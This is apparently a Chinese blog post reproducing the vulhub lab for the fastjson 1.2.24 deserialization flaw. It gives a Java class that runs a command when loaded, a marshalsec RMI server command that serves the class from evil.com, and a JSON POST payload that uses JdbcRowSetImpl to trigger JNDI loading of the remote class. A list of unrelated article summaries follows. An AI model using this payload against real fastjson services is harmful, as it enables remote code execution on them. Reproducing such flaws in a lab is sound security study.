vulhub中fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

首先编译并上传命令执行代码,如http://evil.com/TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
​
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
​
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

可见,命令touch /tmp/success已成功执行,但是我并没有成功,也不知道是什么原因,success没有创建成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/471193.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Maven 环境一键部署

文章目录 一、场景说明二、脚本职责三、参数说明四、操作示例五、注意事项 一、场景说明 本自动化脚本旨在为提高研发、测试、运维快速部署应用环境而编写。 脚本遵循拿来即用的原则快速完成 CentOS 系统各应用环境部署工作。 统一研发、测试、生产环境的部署模式、部署结构、…

Linux发布项目(包括前端和后端)到OpenEuler虚拟机上

后端:SpringBoot 前端:VUE3 操作系统:Linux 虚拟机:OpenEuler 发布项目是需要关闭虚拟机上的防火墙 systemctl stop firewalld 一、发布后端项目到虚拟机 1打包后端项目为jar包 2将打包后的jar包放到虚拟机 /opt 目录下 3 运行项…

【开发环境搭建篇】IDEA安装和配置

作者介绍:本人笔名姑苏老陈,从事JAVA开发工作十多年了,带过大学刚毕业的实习生,也带过技术团队。最近有个朋友的表弟,马上要大学毕业了,想从事JAVA开发工作,但不知道从何处入手。于是&#xff0…

Spring Boot:筑基

Spring Boot 前言概述使用 Intellij idea 快速创建 Spring Boot 项目注意事项 前言 在学习 Spring 、SpringMVC 、MyBatis 和 JPA 框架的过程中,了解到 SSM 框架为 Java Web 开发提供了强大的后端支持,JPA 框架则简化了数据库的操作。然而,S…

免费分享一套SpringBoot+Vue大学新生报到管理系统,帅呆了~~

大家好,我是java1234_小锋老师,看到一个不错的SpringBootVue大学新生报到管理系统,分享下哈。 项目视频演示 【免费】SpringBootVue大学新生报到管理系统 Java毕业设计_哔哩哔哩_bilibili【免费】SpringBootVue大学新生报到管理系统 Java毕…

2旧版本navicat更换颜色/护眼背景(利用regedit注册表编辑器 )

2navicat默认的背景颜色是白色的,新版本可以如图直接在工具选项里面设置,可以先检查一下,如果没有相关设置,如果没有再往后看解决方法 另外,还可以安装其他护眼软件,但 若是设置里没有这个选项,…

C语言经典算法-9

文章目录 其他经典例题跳转链接46.稀疏矩阵47.多维矩阵转一维矩阵48.上三角、下三角、对称矩阵49.奇数魔方阵50.4N 魔方阵51.2(2N1) 魔方阵 其他经典例题跳转链接 C语言经典算法-1 1.汉若塔 2. 费式数列 3. 巴斯卡三角形 4. 三色棋 5. 老鼠走迷官(一)6.…

RAPTOR:树结构的索引和检索系统的递归抽象处理

论文地址:https://arxiv.org/pdf/2401.18059.pdf 摘 要 增强型检索语言模型能够更好地适应世界状态的变化,并整合长尾知识,然而现有大多数方法仅能从检索语料库中检索到较短的连续文本片段,这限制了对整个文档上下文的整体理解。…

【MySQL】-update的两阶段提交

每一次的更新操作都需要写进磁盘,然后磁盘也要找到对应的那条记录,然后再更新,整个过程IO成本、查找成本都很高。 为解决该问题,优先写入日志,然后写入磁盘。WAL(Write-Ahead Logging)技术 1、…

点云配准:Open3D手动选点配准工具

写在前面 本文内容 Open3D手动选点配准工具;包含CMakeLists,cpp源码,编译脚本,运行结果可视化,可执行文件;源码、编译好的工具和脚本在这里下载: 本博客资源链接/share_noel/csdn/open3d/open3d…

SAP 配额修改 + 修改记录写入实现

前一周 写了文章 思考了SAP 修改记录写入的思考-CSDN博客 紧接着 小家伙 感染了支原体 反反复复 ,代码没有落地,今天终于落地了,下面把代码贴出来。 FUNCTION ZRFC_MM_QUOTA_BAPI. *"----------------------------------------------…

STM32 CubeMX使用介绍(含FreeRTOS生成)

文章目录 前言1. 简介1.1 什么是STM32CubeMX1.2 为什么会有STM32CubeMX的出现1.3 STM32CubeMX常用功能有哪些?1.4 官方资料下载地址 2. 下载和安装STM32CubeMX2.1 下载软件2.2 软件安装 3. 使用方式3.1 说明3.2 不同选择器介绍3.3 构建新的项目3.1 选择单片机的型号…

【spring】@DependsOn注注解学习

DependsOn介绍 DependsOn 是 Spring 框架中的一个注解,用于指定一个 bean 的依赖关系。当 Spring 容器初始化 bean 时,它会按照一定的顺序进行初始化。如果一个 bean 依赖于其他 bean,那么这个 bean 的初始化应该在依赖的 bean 之后进行。 …

SPSS k-均值聚类的 anova分析表解读

from&#xff1a;SPSS K均值聚类&#xff08;k-means&#xff09;和可视化方法 - CollinsLi - 博客园 (cnblogs.com) F值&#xff1a;变量对聚类的贡献 显著性水平&#xff1a;<0.05 则因子显著

SpringBoot + Vue项目(显示+删除+回显家居)

文章目录 1.显示家居信息1.com/sun/furn/controller/FurnController.java 添加方法2.postman测试3.src/views/HomeView.vue 修改el-table 并清空数据池tableData4.src/views/HomeView.vue 发送请求并取出数据1.方法池2.created阶段调用list方法3.结果展示 5.src/utils/request.…

蓝桥杯练习题——日期问题

1.日期差值 思路 分别计算从第一年到两个日期过了多少天&#xff0c;然后相减 #include<iostream> #include<cmath> using namespace std; int a[] {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; int x1, x2;int f(int year, int month, int day){int res…

【爬虫】专栏文章索引

为了方便 快速定位 和 便于文章间的相互引用等 作为一个快速准确的导航工具 爬虫 目录&#xff1a; &#xff08;一&#xff09;web自动化和接口自动化 &#xff08;二&#xff09;实战-爬取Boss直聘信息数据

HTML静态网页成品作业(HTML+CSS)——非遗徽州木雕网页(6个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有6个页面。 二、作品演示 三、代…

python利用openpyxl库操作Excel来读取、修改、写入测试数据

一、openpyxl模块介绍 1、openpyxl是读写Excel的python库&#xff0c;是一个比较综合的工具&#xff0c;能够同时读取和修改Excel文档 2、openpyxl中有三个不同层次的类,每一个类都有各自的属性和方法&#xff1a; Workbook是一个excel工作表 Worksheet是工作表中的表…

Android Studio实现内容丰富的安卓医院医生招聘平台

获取源码请点击文章末尾QQ名片联系&#xff0c;源码不免费&#xff0c;尊重创作&#xff0c;尊重劳动 项目编号120 1.开发环境android stuido jdk1.8 eclipse mysql tomcat 2.功能介绍 安卓端&#xff1a; 1.注册登录 2.查看公告 3.查看职位列表 4.收藏功能&#xff0c; 5.投递…